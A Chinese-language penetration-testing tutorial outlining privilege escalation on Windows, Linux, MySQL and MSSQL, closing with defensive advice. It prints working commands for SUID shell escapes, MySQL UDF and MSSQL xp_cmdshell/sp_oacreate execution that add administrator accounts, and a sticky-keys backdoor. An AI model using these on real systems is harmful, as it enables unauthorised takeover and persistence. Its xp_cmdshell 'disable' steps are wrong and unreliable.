渗透---提权思路
字数 1588 2025-08-15 21:34:06
渗透测试中的提权思路详解
一、Webshell获取与反弹Shell
1. Webshell获取方法
- 通过文件上传漏洞上传Webshell
- 利用系统漏洞、服务器漏洞、第三方软件漏洞或数据库漏洞获取Shell
2. 反弹Shell技术
- 使用Kali Linux的msfvenom生成反弹Shell脚本
- 被控制端发起Shell(适用于防火墙受限、权限不足或端口被占用的情况)
- 监听设置:使用msfconsole模块监听反弹Shell
- 获取meterpreter会话后可进行权限提升(getsystem)、信息收集等操作
二、Windows系统提权方法
1. 系统溢出漏洞提权
操作步骤:
- 明确漏洞编号及版本
- 确认漏洞利用平台及版本
- 确保cmd执行权限正常运行
- 检查服务器防护软件情况
补丁信息收集方法:
systeminfo命令查看系统详细信息- meterpreter下执行
run post/windows/gather/enum_patches - 使用
post/multi/recon/local_exploit_suggester模块识别可利用漏洞 - WMIC命令查看补丁:
wmic qfe get Caption,Description,HotFixID,InstalledOn - Windows Exploit Suggester工具对比系统补丁与漏洞数据库
2. 提权流程
- 生成反弹exe并通过msf获取meterpreter通道
- 筛选可用的exp模块
- 执行提权操作
三、Linux系统提权方法
1. 基础信息收集
uname -a
cat /etc/issue
cat /etc/passwd
ps aux | grep root
2. 内核漏洞提权
- 收集Linux内核版本信息
- 使用searchsploit搜索对应版本漏洞
- 下载并编译漏洞利用代码
- 执行提权
3. SUID提权
SUID概念:
- 赋予文件的特殊权限,使执行者暂时获得文件拥有者权限
- 仅对二进制程序有效
- 执行者需要有可执行权限
查找SUID文件命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用可提权程序:
- Nmap、Vim、find、Bash、More、Less、cp
a) Nmap提权
- 旧版本Nmap(2.02-5.21)交互模式提权:
nmap --interactive !sh - Metasploit模块:
exploit/unix/local/setuid_nmap
b) find提权
- 配置为SUID运行的find可执行任意命令
4. sudo提权
- sudo允许已验证用户以其他用户身份执行命令
- 检查sudo权限:
sudo -l
四、数据库提权方法
1. MySQL提权
a) UDF提权
原理:
- 利用root权限创建调用cmd函数的udf.dll
- 将udf.dll导出到指定目录并引入MySQL
版本差异:
- MySQL <5.1:udf.dll放在system32目录
- MySQL >5.1:udf.dll放在lib\plugin目录(可能需要手动创建)
利用步骤:
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
b) MOF提权
条件:
- Windows 2003及以下
- MySQL有读写wbem/mof目录权限
- secure-file-priv不为null
原理:
- MOF文件每5秒执行一次系统权限脚本
c) 反弹端口提权
条件:
- 获取数据库账号密码
- secure_file_priv为空
- 授权MySQL远程登录
d) 启动项提权
- 写入VBS代码到启动项
- 服务器重启时执行
e) Linux系统UDF提权
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
2. MSSQL提权
a) xp_cmdshell提权
开启方法:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 1;reconfigure;
关闭方法:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
b) sp_OACreate组件提权
开启方法:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
添加用户示例:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
c) 注册表存储过程xp_regwrite
- 可用于修改注册表实现持久化等操作
五、其他提权技巧
- 替换粘贴键(sethc.exe)实现后门
- 利用计划任务实现持久化
- 服务权限滥用提权
- 不安全的服务配置提权
六、防御建议
- 及时安装系统补丁
- 限制SUID/SGID权限
- 严格控制sudo权限
- 数据库使用最小权限原则
- 禁用不必要的存储过程
- 监控异常进程和服务
- 实施严格的访问控制策略